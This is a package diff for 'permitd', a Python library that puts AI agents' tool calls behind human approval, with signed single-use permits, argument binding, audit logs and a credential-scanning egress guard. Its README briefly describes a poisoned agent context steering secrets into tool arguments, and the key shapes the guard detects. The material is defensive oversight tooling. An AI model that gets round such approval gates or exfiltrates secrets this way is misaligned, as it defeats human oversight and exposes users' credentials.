+STATUSES = {PROPOSED, APPROVED, DENIED, EXECUTED, EXPIRED}
+
+
+@dataclass
+class Permit:
+    """One proposed tool call and the state of its authorization.
+
+    `token` is the HMAC signature minted at approve time; it never appears in
+    `public()` output — surfaces that render permits must not leak it."""
+    id: str
+    tool: str
+    args: Dict[str, Any] = field(default_factory=dict)
+    binding_hash: str = ""
+    status: str = PROPOSED
+    created_at: str = ""
+    approved_at: Optional[str] = None
+    decided_at: Optional[str] = None
+    executed_at: Optional[str] = None
+    token: Optional[str] = None
+    ttl_seconds: int = 300
+
+    def public(self) -> Dict[str, Any]:
+        """The view handed to UIs and models. Full args on purpose: the
+        approval surface is the operator's informed-consent surface, so it
+        must show the exact thing being authorized — but never the token."""
+        return {
+            "id": self.id,
+            "tool": self.tool,
+            "args": dict(self.args),
+            "status": self.status,
+            "created_at": self.created_at,
+            "ttl_seconds": self.ttl_seconds,
+        }
+
+    def to_row(self) -> Dict[str, Any]:
+        return {
+            "id": self.id,
+            "tool": self.tool,
+            "args": dict(self.args),
+            "binding_hash": self.binding_hash,
+            "status": self.status,
+            "created_at": self.created_at,
+            "approved_at": self.approved_at,
+            "decided_at": self.decided_at,
+            "executed_at": self.executed_at,
+            "token": self.token,
+            "ttl_seconds": self.ttl_seconds,
+        }
+
+    @classmethod
+    def from_row(cls, row: Dict[str, Any]) -> "Permit":
+        return cls(**{k: row.get(k) for k in (
+            "id", "tool", "args", "binding_hash", "status", "created_at",
+            "approved_at", "decided_at", "executed_at", "token", "ttl_seconds",
+        )})

permitd/store.py

@@ -0,0 +1,151 @@
+"""Pluggable permit storage.
+
+The kernel talks to a small protocol; two implementations ship:
+
+- SqliteStore (default): durable, and the single-use burn is one atomic
+  UPDATE ... WHERE status='approved', so two processes racing the same permit
+  cannot both pass — no application-level lock required.
+- MemoryStore: tests and ephemeral gates.
+
+Any other backend (Postgres, Redis) only needs the same five methods; keep
+`burn` compare-and-swap semantics or the one-shot guarantee is lost.
+"""
+from __future__ import annotations
+
+import json
+import sqlite3
+import threading
+from pathlib import Path
+from typing import Dict, List, Optional, Protocol
+
+from .permit import APPROVED, EXECUTED, Permit
+
+
+class PermitStore(Protocol):
+    def create(self, permit: Permit) -> None: ...
+    def get(self, permit_id: str) -> Optional[Permit]: ...
+    def update(self, permit: Permit) -> None: ...
+    def burn(self, permit_id: str, executed_at: str) -> bool:
+        """Atomically flip APPROVED -> EXECUTED. Returns True only for the one
+        caller that won; a second attempt on the same permit returns False."""
+        ...
+    def list(self, status: Optional[str] = None) -> List[Permit]: ...
+
+
+class MemoryStore:
+    def __init__(self) -> None:
+        self._rows: Dict[str, Permit] = {}
+        self._lock = threading.Lock()
+
+    def create(self, permit: Permit) -> None:
+        with self._lock:
+            self._rows[permit.id] = Permit.from_row(permit.to_row())
+
+    def get(self, permit_id: str) -> Optional[Permit]:
+        with self._lock:
+            p = self._rows.get(permit_id)
+            return Permit.from_row(p.to_row()) if p else None
+
+    def update(self, permit: Permit) -> None:
+        with self._lock:
+            self._rows[permit.id] = Permit.from_row(permit.to_row())
+
+    def burn(self, permit_id: str, executed_at: str) -> bool:
+        with self._lock:
+            p = self._rows.get(permit_id)
+            if p is None or p.status != APPROVED:
+                return False
+            p.status = EXECUTED
+            p.executed_at = executed_at
+            return True
+
+    def list(self, status: Optional[str] = None) -> List[Permit]:
+        with self._lock:
+            rows = [Permit.from_row(p.to_row()) for p in self._rows.values()]
+        if status is not None:
+            rows = [p for p in rows if p.status == status]
+        return sorted(rows, key=lambda p: p.created_at)
+
+
+_SCHEMA = """
+CREATE TABLE IF NOT EXISTS permits (
+    id TEXT PRIMARY KEY,
+    tool TEXT NOT NULL,
+    args TEXT NOT NULL,
+    binding_hash TEXT NOT NULL,
+    status TEXT NOT NULL,
+    created_at TEXT NOT NULL,
+    approved_at TEXT,
+    decided_at TEXT,
+    executed_at TEXT,
+    token TEXT,
+    ttl_seconds INTEGER NOT NULL
+)
+"""
+
+_COLS = ("id", "tool", "args", "binding_hash", "status", "created_at",
+         "approved_at", "decided_at", "executed_at", "token", "ttl_seconds")
+
+
+class SqliteStore:
+    def __init__(self, path: str | Path) -> None:
+        self.path = Path(path)
+        self.path.parent.mkdir(parents=True, exist_ok=True)
+        with self._conn() as con:
+            con.execute(_SCHEMA)
+
+    def _conn(self) -> sqlite3.Connection:
+        con = sqlite3.connect(self.path, timeout=10)
+        con.row_factory = sqlite3.Row
+        return con
+
+    @staticmethod
+    def _to_permit(row: sqlite3.Row) -> Permit:
+        d = dict(row)
+        d["args"] = json.loads(d["args"] or "{}")
+        return Permit.from_row(d)
+
+    def create(self, permit: Permit) -> None:
+        row = permit.to_row()
+        row["args"] = json.dumps(row["args"], ensure_ascii=False)
+        with self._conn() as con:
+            con.execute(
+                f"INSERT INTO permits ({','.join(_COLS)}) "
+                f"VALUES ({','.join('?' for _ in _COLS)})",
+                tuple(row[c] for c in _COLS),
+            )
+
+    def get(self, permit_id: str) -> Optional[Permit]:
+        with self._conn() as con:
+            row = con.execute("SELECT * FROM permits WHERE id = ?", (permit_id,)).fetchone()
+        return self._to_permit(row) if row else None
+
+    def update(self, permit: Permit) -> None:
+        row = permit.to_row()
+        row["args"] = json.dumps(row["args"], ensure_ascii=False)
+        sets = ",".join(f"{c} = ?" for c in _COLS if c != "id")
+        with self._conn() as con:
+            con.execute(
+                f"UPDATE permits SET {sets} WHERE id = ?",
+                tuple(row[c] for c in _COLS if c != "id") + (permit.id,),
+            )
+
+    def burn(self, permit_id: str, executed_at: str) -> bool:
+        with self._conn() as con:
+            cur = con.execute(
+                "UPDATE permits SET status = ?, executed_at = ? "
+                "WHERE id = ? AND status = ?",
+                (EXECUTED, executed_at, permit_id, APPROVED),
+            )
+            return cur.rowcount == 1
+
+    def list(self, status: Optional[str] = None) -> List[Permit]:
+        q = "SELECT * FROM permits"
+        params: tuple = ()
+        if status is not None:
+            q += " WHERE status = ?"
+            params = (status,)
+        q += " ORDER BY created_at"
+        with self._conn() as con:
+            rows = con.execute(q, params).fetchall()
+        return [self._to_permit(r) for r in rows]

permitd-0.1.0.dist-info/METADATA

@@ -0,0 +1,208 @@
+Metadata-Version: 2.4
+Name: permitd
+Version: 0.1.0
+Summary: Governed tool execution for agent loops: propose -> permit -> approve -> execute -> audit. Fail-closed, zero dependencies.
+Project-URL: Homepage, https://github.com/hbar-systems/permitd
+Project-URL: Issues, https://github.com/hbar-systems/permitd/issues
+Author: hbar-systems
+License-Expression: MIT
+License-File: LICENSE
+Keywords: agent,agent-loops,approval,audit,governance,human-in-the-loop,loop-engineering,mcp,permits,tool-use
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries
+Requires-Python: >=3.10
+Provides-Extra: dev
+Requires-Dist: pytest>=8; extra == 'dev'
+Provides-Extra: mcp
+Requires-Dist: mcp>=1.0; extra == 'mcp'
+Description-Content-Type: text/markdown
+
+# permitd
+
+**Governed tool execution for agent loops.**
+
+![An agent proposes a gated call, a human approves it in another terminal, the call executes, and the audit lines land](docs/demo.gif)
+
+Your agent loop wants to send the email, write the file, hit the API. You want
+a human decision in between — one that an agent cannot fake, replay, or bend
+to different arguments — and a line in an audit log either way.
+
+```
+propose(tool, args) ──> permit (signed, TTL, single-use)
+                   ──> approve   (a human, out-of-band: CLI, or any callable)
+                   ──> execute   (verify + burn, atomically)
+                   ──> one audit line lands (append-only JSONL)
+```
+
+permitd is that flow as a small, stdlib-only Python library. It is also
+**loop state**: the permit lives in SQLite, so a call proposed in turn N of
+your agent loop is approved from another terminal and executed in turn N+K —
+across restarts, across processes.
+
+Every non-execute outcome is fail-closed. A missing, expired, denied,
+tampered, argument-mismatched, or already-used permit is refused, and the
+refusal is audited too.
+
+## Install
+
+```
+pip install permitd
+```
+
+Python ≥ 3.10, zero dependencies.
+
+## Sixty seconds, two terminals
+
+**Terminal 1 — the agent side** (`agent.py`):
+
+```python
+import time
+from permitd import Gate, RED
+
+gate = Gate(db="permitd.db")
+
+@gate.tool(tier=RED, description="send a message to someone")
+def send_message(to, body):
+    return f"delivered to {to}: {body!r}"
+
+args = {"to": "alice", "body": "hello from the loop"}
+r = gate.call("send_message", args)
+print(r.error)                       # "... permit PRM-xxxx is proposed ..."
+
+pid = r.permit["id"]
+while gate.get(pid).status == "proposed":   # this state survives restarts
+    time.sleep(1)
+
+r = gate.call("send_message", args, permit_id=pid)
+print(r.result if r.ok else r.error)
+```
+
+```
+python agent.py
+```
+
+**Terminal 2 — the human side:**
+
+```
+$ permitd pending
+1 pending permit(s):
+  PRM-3f9c21ab44de  [proposed]  send_message
+      args: {"to": "alice", "body": "hello from the loop"}
+      proposed: 2026-07-29T18:12:03+00:00  ttl: 300s
+
+$ permitd approve PRM-3f9c21ab44de
+approved — PRM-3f9c21ab44de is executable for 300s, single use, bound to exactly these arguments
+```
+
+Terminal 1 wakes up and prints `delivered to alice: 'hello from the loop'`.
+The trail:
+
+```
+$ permitd audit
+{"ts": "...", "event": "proposed", "permit_id": "PRM-3f9c21ab44de", "tool": "send_message", ...}
+{"ts": "...", "event": "approved", "permit_id": "PRM-3f9c21ab44de", ...}
+{"ts": "...", "event": "executed", "permit_id": "PRM-3f9c21ab44de", "ok": true}
+```
+
+That is the whole product: propose, approve, execute, audit line.
+
+## What the permit actually guarantees
+
+- **Bound to exact arguments.** A permit is scoped to
+  `sha256(tool + canonical_json(args))`. Approval for "send X to Alice" cannot
+  be replayed as "send Y to Eve" — key order and whitespace don't change the
+  binding; any value change does (`args_mismatch`).
+- **Single-use, atomically.** The burn is one SQLite compare-and-swap
+  (`UPDATE ... WHERE status='approved'`), so two processes racing the same
+  permit cannot both pass (`already_used`).
+- **Time-boxed twice.** A proposal is approvable for `ttl_seconds` (default
+  300); a minted approval is executable for another `ttl_seconds`. Unparseable
+  timestamps count as expired.
+- **HMAC-signed.** Approval mints
+  `HMAC-SHA256(secret, id.binding_hash.approved_at)`, re-verified at execute
+  time — a store row edited behind the kernel's back fails (`bad_signature`).
+- **Fail-closed everywhere.** Anything the kernel cannot positively verify —
+  including "the arguments could not even be inspected" — is a refusal, not a
+  pass. Refusals are audited with their reason.
+
+## Tiers
+
+`Gate` is a small registry with three tiers over the kernel:
+
+| tier | meaning | gate |
+|---|---|---|
+| `GREEN` | read-only over your own state | runs freely, audited |
+| `YELLOW` | external read (search, fetch) | one standing toggle: `gate.standing_authorization = True` |
+| `RED` | write / exec / send | per-call permit: the flow above |
+
+If you don't want the registry, use the kernel directly:
+
+```python
+from permitd import PermitKernel, SqliteStore, AuditLog
+
+kernel = PermitKernel(SqliteStore("permitd.db"),
+                      secret_path="permitd.db.secret",
+                      audit=AuditLog("permitd_audit.jsonl"))
+p = kernel.propose("deploy", {"target": "prod"})
+kernel.approve(p.id)                      # or from the CLI / your own UI
+kernel.execute("deploy", {"target": "prod"}, p.id, runner=do_deploy)
+```
+
+`approve` is just a method on a store-backed kernel — call it from a CLI, a
+Slack handler, an HTTP endpoint, wherever your human is.
+
+## The egress guard
+
+Before any non-GREEN call runs — **including at propose time** — its arguments
+are scanned for credential-shaped content: private-key blocks, `Bearer`/`Basic`
+headers, AWS/GitHub/Slack/Stripe/OpenAI/Anthropic/Google key shapes, inline
+`api_key=...` assignments, the values of this process's own sensitive
+environment variables, and a conservative high-entropy backstop. A poisoned
+context that steers a secret into a tool argument is refused before anything
+leaves, before any approval card is shown, and the refusal reason names the
+matched *shape*, never the value.
+
+## MCP: gate any agent's tools, including Claude Code's
+
+[`examples/mcp_server/`](examples/mcp_server/) is an MCP server whose tools go
+through the gate. Point any MCP-speaking agent at it and that agent gets
+propose → approve → execute + audit with **zero agent-side changes**: the
+agent calls a RED tool, is told "permit PRM-… proposed, waiting for approval",
+you run `permitd approve PRM-…` in another terminal, the agent retries and the
+call executes. The audit line lands either way.
+
+## Storage
+
+`SqliteStore` (default, durable, atomic burn) and `MemoryStore` (tests,
+ephemeral) ship in the box. Anything else needs five methods — see the
+`PermitStore` protocol in [`store.py`](src/permitd/store.py); keep `burn`
+compare-and-swap or you lose the one-shot guarantee. The audit trail is a
+separate append-only JSONL file so it stays `tail -f`-able.
+
+## What permitd is not
+
+Not an agent, not a framework, not memory, not RAG. It has no opinion about
+your loop, your model, or your prompts. It is the layer that holds the state
+of "may this run?" across turns — and the receipt after it did.
+
+## Ancestry
+
+Extracted from the tool-governance kernel of
+[brainfoundry-nous](https://github.com/hbar-systems/brainfoundry-nous), where
+it runs in production gating a personal AI node's tools. The
+propose/confirm/execute + audit grammar goes back to
+[hbar.brain.console](https://github.com/hbar-systems/hbar.brain.console)
+(2026-03). Design notes: [DESIGN.md](DESIGN.md).
+
+## License
+
+MIT.

permitd-0.1.0.dist-info/RECORD

@@ -0,0 +1,14 @@
+permitd/__init__.py,sha256=leuSDkcSF_C8QEwCo-NJy_RG1CbZcXBPdpzyoDcFP4g,1306
+permitd/audit.py,sha256=b43ZhdbVdx_SJZZC3muAbg9-d3lLK2XLHZ3qdNZ_dEg,2246
+permitd/binding.py,sha256=0M9ov-Dx9GMS31Mjnb1ek5mdS3bWR8ZP11Zt8-2_yq8,1004
+permitd/cli.py,sha256=jjEOhM1kQTKS4ZQ6Y9sPJD6Syc2iAIyNKeeTKO1p06U,4417
+permitd/gate.py,sha256=zqs0y-YOVzx6zUP5UjL0XpS4xrHiyNYBb_hYPCIhXBw,9034
+permitd/guard.py,sha256=bjSr47yC8I5EKmKvSvZ24dvxMwx5zx08s2LLuxQpByk,6797
+permitd/kernel.py,sha256=35hJ7lZG6ByBo_l99Vpw9D00qGH9vsnaEmAN_WcpcLA,11655
+permitd/permit.py,sha256=Q92NVg2BXkQ4ftrzFYpQn4kz7ixG-HQhIh1i6aBl_Qo,2343
+permitd/store.py,sha256=QX8Dm3-t4cuzwOyho1ON9irrGZx79RdXV6qj9yLc3Z4,5238
+permitd-0.1.0.dist-info/METADATA,sha256=YySrkIqJOejQB7ZE6LHza6gnjjTZH5Fxfq_3CqQrUjU,8061
+permitd-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
+permitd-0.1.0.dist-info/entry_points.txt,sha256=7UUgxAdkoM3oA1emvy6Nq3F_vIUKAjjRIt9BcR8qneE,45
+permitd-0.1.0.dist-info/licenses/LICENSE,sha256=MLX6Owunzi8tBj5XZ60WZ3toHt4XTE-vIlfzpbUGHOw,1069
+permitd-0.1.0.dist-info/RECORD,,

permitd-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: hatchling 1.31.0
+Root-Is-Purelib: true
+Tag: py3-none-any

permitd-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+permitd = permitd.cli:main

permitd-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 hbar-systems
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.